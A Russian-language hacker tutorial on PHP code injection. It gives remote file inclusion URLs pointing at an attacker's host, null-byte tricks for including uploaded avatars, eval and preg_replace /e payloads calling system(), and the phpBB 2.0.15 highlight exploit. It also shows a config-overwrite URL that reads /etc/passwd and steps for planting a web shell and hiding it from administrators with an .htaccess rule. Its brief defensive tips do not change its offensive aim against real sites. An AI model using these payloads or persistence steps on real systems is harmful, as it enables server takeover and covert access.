Все тонкости внедрения кода в PHP-скрипты

Прошло уже много времени с тех пор, как мы с тобой начали изучать php-injection атаки. Ты читал статьи в журнале, искал при помощи гугла бажные сайты и проводил образовательные программы по информационной безопасности :). Однако все наши действия остались безрезультатными: до сих пор уязвима целая куча ресурсов! Просто для использования этих багов нужны дополнительные сведения, о которых ты еще мало что знаешь. Пришло время заполнить этот пробел!

Даже у таких крутых хакеров, как ты, бывают осечки: казалось бы, нашел бажный скрипт, меняешь его параметры, читаешь ошибки, а поломать систему никак не удается. Чтобы такой проблемы не было, Zadoxlik написал эту статью.

Классика

Самая распространенная ошибка заключается в подстановке внешней переменной безо всяких проверок, сразу в оператор include. Обычно это делают при создании модульной системы, каждый модуль которой – php-скрипт, который инклудится при определенных условиях. Вот посмотри на этот пример:

$umol4anie="main.php";

if(@$_GET['id'])

include($_GET['id']);

else

include($umolchanie);

При подключении модулей URL выглядит следующим образом: index.php?id=module.php. Довольно часто, если этого не запрещает конфигурация PHP, ты можешь вставить в тело скрипта свой код таким образом: _http://site.ru/index.php?id=http://othersite.ru/anyfile.txt

Где содержимое anyfile.txt - это код твоего PHP-скрипта.

Обойти эту уязвимость можно многими путями. Ты только посмотри:

$ex=".php";

$umol4anie="main".$exp;

if(@$_GET['id'])

include($_GET['id'].$exp);

else

include($umolchanie);

Модуль в виде файла lol.php в данном случае подключается так: _http://site.ru/index.php?id=lol. Припиши к своему файлу anyfile на othersite.ru расширение .php. Теперь инъекция будет выглядеть точно так же: _http://site.ru/index.php?id=http://othersite.ru/anyfile

Действительно, ведь скрипт сам прикрутит расширение php. Это были самые элементарные атаки PHP-injection. Далее я покажу тебе материал поинтереснее.

Почти история

В конце этого абзаца ты сможешь понять, почему у него такое название. Вспомни ужасную функцию file_exists. Да, это та, которая проверяет существование файла. Она вернет FALSE при обращении к любому удаленному документу. То есть файл должен быть доступен через файловую систему сервера. Таким образом, можно исключить любую инъекцию удаленного фрагмента.

$ex=".php";

$umol4anie="main".$exp;

if(@$_GET['id'])

$final=$_GET['id'].$exp;

else

$final=$umolchanie;

if(file_exists($final))

include($final);

До конца ли безопасна такая конструкция? Нет, не всегда. Представь, что на сайте есть форум, и на него можно загружать свои файлы. Это могут быть аттачи к сообщениям, фоты или аватары. К любому из перечисленных агрегатов можно приклеить незаметно для скрипта-аплоадера PHP-код. Таким образом, полученный файл со зловредным кодом будет находиться на сервере, и одна обработка file_exists здесь не спасет. Как ты понимаешь, если бы расширение не проверялось, и вся надежда была бы на этой функции, инъекция бы уже удалась.

Однако почти всегда у аватар расширения не выходят за границы списка gif, jpg, jpeg, png, а у аттачей — zip, rar, doc. Но в переменной $ex, как правило, содержится что-то вроде .php или .inc.php. Так как же быть, если зловредный код у тебя в файле av132.gif, а расширение, прикручиваемое внутри index.php, неизвестно. В PHP есть такая вещь, как magic_quotes_gpc. Эта опция PHP разрешает слеширование (экранирование) всех входящих в запрос потенциально опасных символов. В их число входит апостроф, кавычка и другие. Вот смотри: если ты пошлешь в куках или же в GET-, POST-запросах строку antichat's_sniffer, то скрипт ее получит как antichat\'s_sniffer. Этот пасс иногда спасает криворуких программистов от взлома их скрипта. Однако опытным программистам эта функция доставляет больше хлопот, чем помощи. Как раз поэтому-то еще остались хостеры, которые не держат эту опцию включенной. Именно magic_quotes_gpc, установленная на OFF, позволит провести нам инъекцию. К числу потенциально опасных символов относится нулевой байт: он обозначает конец строки. Слеширование нулевого байта обезоруживает его, символ теряет свое значение. Однако без magic_quotes_gpc слешировать его вряд ли кто-нибудь захочет. Вот пример инъекции:

_http://site.ru/index.php?id=forum/avatars/user/c20ad4d76fe97759aa27a0c99bff6710.gif%00&c=[COMMAND]

Здесь %00 - закодированный нулевой байт в формате URL. Строка, передаваемая функции include, имеет вид: forum/avatars/user/av132.gif[NULL].php. Как я отмечал выше, нулевой байт «отрезает» правую часть строки. Таким образом, прикручиваемое расширение не имеет значения, и ты можешь подставить в файл PHP фрагмент из аватары av132.gif. Правда, сейчас большинство хостеров устанавливают magic_quotes_gpc на ON, что защищает скрипты от трюка с нулевым символом. Но и на этот случай есть свои отмычки.

elseif, или что еще можно сделать

Помимо описанных выше действий, можно сотворить еще много всего, но каждый раз это зависит от конкретного примера. Допустим, у тебя есть такой фрагмент минимодульного движка.

error_reporting(0);

$ex=".php";

//$cat - папка с модулями

$umol4anie="main;

#папка с модулями#

if($_GET['cat']=='files')

$cat="files";

elseif($_GET['cat']=='docs')

$cat="docs";

else

echo "Неверный раздел";

if(@$_GET['id'])

$final=$_GET['id'];

else

$final=$umolchanie;

if(!eregi("[\.']", $final) && str_replace(chr(0),'f',$final)==$final)

include($cat."/".$final.$ex);

else

include("error404".$ex);

Здесь не проверяется существование файла. Если в GET-запросе значение параметра cat не удовлетворяет требуемым, ты, как не странно, получишь предупреждение о том, что раздел неверен. Однако дальнейшее исполнение скрипта будет продолжено. Ошибки автор скрыл через error_reporting(0), поэтому внешне выглядит, что все обработалось корректно. Я думаю, ты тоже парень не промах! Ведь можно передать в cat что-то вроде «http://othersite.ru» и положить на othersite.ru самопальный скрипт. Если на сервере включен register_globals (параметры из запроса соответствуют одноименным переменным в скрипте), то инъекция будет проведена успешно. В include (и аналоги) удаленно инъекцтировать можно не только по http, но и по ftp.

mortal upload

Вспомни разговор про загрузку аватар. Там мы загружали файл на форум или какой-то другой движок с функцией пользовательского аплоада. Отмечалось, что расширения файла ограничены, однако иногда это можно обойти. Хотя ошибка очень прозрачна, но она до сих пор часто встречается. Допустим, ты загружаешь файл. Неопытные программисты иногда пишут проверку расширений примерно вот так:

$exps=array(

'rar',

'zip',

'doc',

'txt'

); //Возможные расширения

//Проверяем расширение

$rash=explode(".",$_FILES["userfile"]['name']);

if(!in_array(strtolower($rash[1]), $exps))

die('у файла неверное расширение');

Ошибка здесь следующая. Скрипт проверяет не расширение файла, а ту часть имени файла, которая находится после первой слева точки до второй слева (если такая имеется). Обычно это и есть расширение файла, однако, если загружать файл с именем shell.txt.php - файл загрузится успешно, и сервер будет понимать загруженный файл как PHP-интерпретируемый (если не прописаны соответствующие установки в .htaccess). На самом деле, скрипт должен проверять самую последнюю из частей имени файла, полученных разбивкой последнего по точкам. Другая версия парсера:

$exps=array(

'rar',

'zip',

'doc',

'txt'

); //Возможные расширения

//Проверяем расширение

$rash=explode(".",$_FILES["userfile"]['name']);

if(count($rash)< 2)die('у файла нет расширения');

if(!in_array(strtolower($rash[count($rash)-1]), $exps))

die('у файла неверное расширение');

Однако, учитывая особенности сервера Apache (и других), можно утверждать, что данный вариант проверки также уязвим, и на момент написания статьи уязвимости подвержено множество известных и не очень PHP-движков. В чем фишка? Если апач не может определить расширения файла, то он смотрит следующую часть имени файла, отделенную точкой от расширения. Например, файл arhive.php.ex в большинстве случаев будет интерпретирован как PHP-скрипт!

В итоге единственным верным решением будет полная фильтрация имени файла на опасные расширения загружаемого файла. Для страховки также рекомендуется поместить в директорию с файлами .htaccess, с удалением/переопределением опасных расширений. Например:

RemoveType .php3 .php .phtml .php4 .php5 .cgi .pl

Можно поступить и другим способом. Сохранять на сервере файлы под предопределенным именем (скажем, file<index>file, где <index> - номер файла), а при закачке формировать специальный HTTP-заголовок на основе данных об этом файле, предварительно занесенных в какую-либо БД, обеспечивая передачу файла пользователю под подлинным именем. Можно даже хранить файлы в базе данных, например в MySQL.

eval

Еще одна «злая» функция – eval. В PHP она интерпретирует переданную ей строку как PHP-код. Без этой функции можно вполне обойтись практически в любом PHP-приложении. Очень часто ее применяют для удобной смены templat'ов - тем какого-нибудь движка. Хотя сделать то же самое можно и без eval. С помощью вот такой строки был взломан один хацкерский ресурс, имя которого называть я не буду:

eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")

Передавая в GET'е параметр id в виде id={${php_code}}, я получили веб-шелл. Что означает ${php_code}}, читай ниже.

preg_replace - зачем там /e?

Функция preg_replace заменяет подстроку (первый параметр), заданную регулярным выражением, на строку (второй параметр), которая также может быть задана регулярным выражением в данной строке (третий параметр). Также существует необязательный 4-ый параметр, но он нас не интересует.

Заменяемая подстрока имеет следующий формат:

[разделитель][выражение][разделитель][модификаторы]

Разделитель - это любой неалфавитный символ (чаще всего это / или #),

Выражение - собственно сам шаблон заменяемого фрагмента, а модификаторы - своего рода указатели. Они указывают правила, по которым обрабатывается регулярное выражение. Каждый модификатор записывается как буква. Например, модификатор i означает поиск без учета регистра. В заменяющей строке могут быть использованы «результаты поиска» в данной строке. В заменяемой подстроке фрагменты результатов логически обозначаются взятием в скобки. Смотри: «/(.*)/i» означает поместить всю данную строку в результат №1. Номеруются результаты, начиная с первого номера, по порядку, слева направо, по ходу расположения открывающихся логических скобок в заменяемой подстроке. Чтобы поместить результат с номером n, в заменяющей строке используется сочетание \\n или равносильное $n. Пример:

$c="aba";$c=preg_replace("/([ab]+)/i", "<b>$1</b>", $c);

Здесь переменная $c примет значение <b>aba</b>

Тебя, конечно же, заинтересовал модификатор «e», используемый в preg_replace. Он предполагает то, что перед тем, как заменить в исходной строке фрагменты, найденные регулярным выражением новой подстрокой (repalcement), он эту подстроку интерпретирует как PHP-код. Значит, если у нас с тобой есть строка $c="ping", то, прогнав вот такой вот PHP-сценарий

$c=preg_replace("/^(.*)$/ie", "print('\\1')", $c);

на монитор, мы получим содержимое строки $c - «ping». На практике рассмотрим нашумевшую PHP-инъекцию в phpBB, в коде viewtopic.php. Давай поймем, в чем фишка этой инъекции. Итак, вот фрагмент кода viewtopic.php из phpBB версии 2.0.15:

$message = str_replace('\"', '"', substr(@preg_replace

('#(\>(((?>([^><]+|(?R)))*)\<))#se',

"@preg_replace('#\b(" . str_replace('\\',

'\\\\', $highlight_match) . ")\b#i',

'<span style=\"color:#" . $theme['fontcolor3'] .

"\"><b>\\\\1</b></span>', '\\0')"

, '>' . $message . '<'), 1, -1));

highlight_match - переменная, где лежат слова, которые следует подсветить. Пользователь задает $_GET['highlght'], где пробелы разделяют различные слова. $highlight_match - его потомок, где вместо пробелов используется |. Трудно разбирать такое длинное выражение. Поэтому просто посмотри: $highlight_match участвует в параметре replacement функции preg_replace, где в заменяемой подстроке участвует модификатор «e». Причем $highlight_match нигде не обрамляется в addslashes. Это означает, что ты преспокойно можешь внедриться в тот PHP-сценарий, который выполнится перед заменой подстроки, в строке $message.

Если пользователю задать highlight как «'.system('dir').'», то результатом действия скрипта будет

preg_replace('#\b('.system('dir').')\b#i', '...', '...')

preg_replace width /e and width NULL

Условно можно считать, что неиспорченный magic_quotes_gpc или addslashes NULL отрезает правую часть строки. Для чего это может быть использовано? Оказывается, много для чего. Нужно только воображение. В частности, NULL можно применить при работе с preg_replace. Если в заменяемой подстроке, определяемой регулярным выражением, всунута переменная, которую тем или иным способом определяет пользователь, можно попробовать изменить структуру заменяемой подстроки так, чтобы в конце стоял модификатор /e. Посмотри на простенький пример:

preg_replace("#$c#i", '\\1', $mda);

Представь, что и $c и $mda можно как-то определить. Пусть в эксперименте будет задано $mda и $c прямо через GET.

script.php?c=(system\(ls\))%23e%00&mda=system(ls)

В результате получается листинг файлового каталога. А почему это так - попробуй подумать сам, обо всем этом уже писалось в данной статье. %23 - URL-закодированный символ #.

Движки на файлах

Некоторые бесплатные хостеры не предоставляют доступ к MySQL. Для таких случаев пишутся движки на текстовых БД. Структура и общение с текстовыми БД может быть самая разная. Иногда разработчики даже придумывают библиотеки функций для работы с текстовыми БД с помощью некоего подобия языка SQL. В таком случае текстовая БД представляет собой папки и файлы, где папки, например, - это базы данных, файлы - таблицы, а внутри файлов все как-то мудрено организовано в виде структуры таблицы. Нас же будет интересовать другой подход к организации БД на файлах. Например, что может быть проще того, чтобы заносить все данные в некий PHP-файл, доступ к которому будет закрыт извне, с тем, чтобы потом его инклудить и получать массивы данных прямо в готовом виде. Рассмотрим уязвимость в exBB 1.9.1. Нам неважно то, как мы сможем получить доступ к админ-панели (это делается с помощью других, не PHP-inj уязвимостей в движке), но главное, что такая возможность есть. Зайдем в админ-панель, в конфигурацию.

Теперь поищем, где хранятся все эти данные. Оказывается, что они лежат как раз в таком инклудаемом файле (доступ к нему закрыт .htaccess'ом). Файл имеет вид:

<?

$exbb['boardurl'] = 'http://exbb';

$exbb['home_path'] = 'z:/home/exbb/www/';

$exbb['boardname'] = 'название форума';

$exbb['boarddesc'] = 'описание форума';

$exbb['announcements'] = 1;

$exbb['topics_per_page'] = 15;

$exbb['posts_per_page'] = 10;

$exbb['ch_files'] = 0777;

$exbb['ch_dirs'] = 0777;

$exbb['ru_nicks'] = 1;

$exbb['reg_simple'] = 0;

$exbb['default_lang'] = 'russian';

$exbb['default_style'] = 'Original';

$exbb['membergone'] = 15;

...

Я сумел выйти за кавычку только в одном из параметров. Это - $exbb['boardurl']. В итоге я получил такой код:

$exbb['boardurl'] = 'http://exbb'.@include('http://127.0.0.1/talakin.txt').''

Если переменные хранят значения за двойными кавычками, то нам даже необязательно выходить за них, что было необходимо «с '». Во-первых, мы можем вывести себе любую переменную, просто прописав ее имя, а во-вторых, можем выполнить любую функцию, в том числе всякие system и аналоги с помощью трюка, который описан ниже.

Что еще может быть?

А может быть еще очень и очень много полезных вещей, давай по пунктам. Можно:

1)Использовать массив данных, без предварительного объявления. Например:

for($i=0;$i<10;$i++)

{

@$a[$i]=$s[$i];

//Копируем 10 первых

//элементов массива $s

//в a, без определения $a

}

for($i=0;$i<count($a);$i++)

{

eval('$y['.$a[$i].']='.$i);

//какое-то извращение

//криворукого программера

}

Подразумевается, что $s - «безопасный» массив, то есть никакой опасности

для конструкции он не представляет. Однако посмотрим, что будет, если на сервере включен register_globals. Если послать такой GET-запрос: http://host/script.php?a[10]=1;system('ls');//, то мы получим листинг файлов директории,в которой находится script.php. Это происходит потому, что определение 11-ого (в массивах элементы считаются от нулевого элемента) никак не противоречит определениям скрипта. Никто не претендует на место 11-го элемента массива, поэтому мы получим доступ к якобы уже определенному массиву. Чтобы избавиться от данной ошибки, надо предварительно написать определение $a=array(). При передаче элемента массива через GET-, POST-запросы или куки ключ не ставится в кавычки. Таким образом, в запросе следует писать array[nameindex], а не array['nameindex']. Эту ошибку часто можно встретить при работе с модульными файлами. То есть, рассчитывая на определение массива в другом модуле или ядре, конкретный модуль является уязвимым, и иногда при особым образом сформированном запросе, непосредственно к модулю, можно вызвать нежелательное обращение к элементам массива. Это частный случай, а вообще, движки с модулями, доступными для прямого обращения и работающие при таком обращении в обычном режиме - очень лакомый кусочек.

2)Каким-либо образом подвергать опасности уже определенные переменные переопределения. Рассмотрим конкретную ошибку PHP-инъекции в vcard.

Конфигурационные данные движка определены в специальном файле-конфиге, который инклудится в каждый самостоятельный PHP-файл (файл, к которому предполагается непосредственное обращение пользователя), в самом начале этого скрипта. Все конфигурационные данные представляют собой элементы ассоциативного массива $cfg. После чего идет код, который осуществляет замену всех параметров, переданных через GET, в одноименные переменные внутри скрипта.

if (!empty($_GET))

{

foreach ($_GET as $tmp_varname => $tmp_value)

{

$$tmp_varname = $tmp_value;

}

}

Обрати внимание, что это происходит после того, как были определены конфигурационные данные! Это означает только одно: мы можем переопределить все конфигурационные данные, сформировав запрос примерно такого вида:

index.php?cfg[hostname]=biricz.at&cfg[dbuser]=bi007vma&cfg[dbname]=bi007vmatest&cfg[skin]=myskin&cfg[dbpass]=ivkxzd&cfg[lang]=../../../../../../../etc/passwd

С помощью представленной уязвимости можно инклудить произвольный файл, загружать на сервер свои файлы и т.д. Уязвимость нашел ShanKaR.

3)Не думать о разнице между «"» и «'». Выше я упоминал про взлом хацкерского ресурса. Осуществлен он был через следующий фрагмент скрипта:

eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")

Где в качестве $HTTP_GET_VARS[$register_poll_vars[$i]] можно было подставить параметр id. Если бы в скрипте, например, была бы объявлена переменная, содержащая пароль к БД, а значение этой самой $$register_poll_vars[$i] выводилось бы где-то в stdout'е, мы бы могли передать в id строку $dbpasswd (переменная, содержащая пароль) и получили бы пароль от БД.

Но это еще полбеды. Дело в том, что разработчики позаботились о том, чтобы мы могли вызывать произвольную функцию прямо из строки (не "bla".func()."bla", а непосредственно без выхода за двойную кавычку). Делается это так:

{${function()}}

Где function() - обращение к произвольной функции. Смотри, если передать нашему скрипту строку {${system([COMMAND])}}, мы получим веб-шелл.

ХХХ ЗАГОЛОВОК ХХХ

PHP-injection 2 web-shell

Поскольку обнаруженные баги на сайтах обычно долго не живут, то держать в виде веб-шелла саму уязвимость не только неудобно, но и ненадежно. Здесь я опишу, как нам залить на сайт и укромно припрятать веб-шелл. Прежде всего у нас должна быть папка с правами на запись. Чтобы получить листинг файлов и папок с правами, рекурсивно воспользуйтесь командой:

ls -Rla

Для Windows:

dir /Q

Если доступ к cmd из скрипта запрещен - на диске ты всегда сможешь найти все необходимое, а именно: скрипт, который выводит рекурсивно все файлы и папки. Напротив тех, на которые разрешена запись, ставится 1 (используйте include('http://smth.narod.ru/script.php') в php-инъекции).

Вот теперь, когда мы с тобой нашли директорию с правами на запись, надо залить сам скрипт.

Для того чтобы узнать, какая качалка стоит на сервере, выполняем следующую команду:

which get;which wget;which lynx;which curl;which fetch;which links

В ответ будут выведены пути к соответствующим утилитам. Пользоваться каждой из них очень просто. Теперь нам надо спрятать наш скрипт, чтобы админ, пропатчив приложение, не заметил его. Для этого нужно придумать шеллу неприметное название. Но если он, например, находится в папке для аватар, то как его ни переименовывай, файл с расширением php - белая ворона среди гифок и джипегов. Но мы можем загрузить в папку .htaccess-файл и указать, что файлы с расширением gif интерпретируются как PHP-скрипт. Строку

«AddType application/x-httpd-php gif» можно занести в .htaccess с помощью echo из cmd или простейшим скриптом. Однако если ты знаком с php, то ты знаешь, что в случае установленного на сервере safe_mode мы не можем использовать функции выполнения системных команд и программ. К счастью, safe_mode — это директива PHP, так что если PHP-инъекцию удастся найти, можно будет химичить с Perl'ом, на которого ограничения safe_mode никак не распространяются. На диске есть пример веб-шелла на перле.

Ко всему вышесказанному

Не забывай, что параметры могут быть переданы скрипту при помощи 4-х способов: GET, POST, COOKIE, SESSION. Первые три из них пользователь формирует сам. Информация сессии хранится на сервере и не может быть модифицирована пользователем, в то время как куки ты можешь спокойно изменять.

Прелесть тут в том, что многие web-программисты почему-то относятся к кукисам, как к чему-то такому, что проверять надо менее строго, чем POST и GET (ну вроде того, что последние два можно задавать прямо в строке браузера или в формочке на сайте, а куки еще и «хрен знает, как ты подделаешь»), поэтому очень часто уязвимости можно встретить именно в параметрах, передаваемых куками. Это могут быть как XSS, SQL-injection, так и PHP-injection. Я рекомендую для поиска уязвимостей PHP-injection писать программку, которая бы сканировала все файлы движка и вынимала из них всяческие подозрительные вещи, например все то, что описано в статье. Все eval, строки регулярных выражений с модификатором «e», не говоря уже о include, require. Анализируется подобный материал потом достаточно быстро и просто. Пример такой программки опять же лежит на диске.

(с) http://www.inattack.ru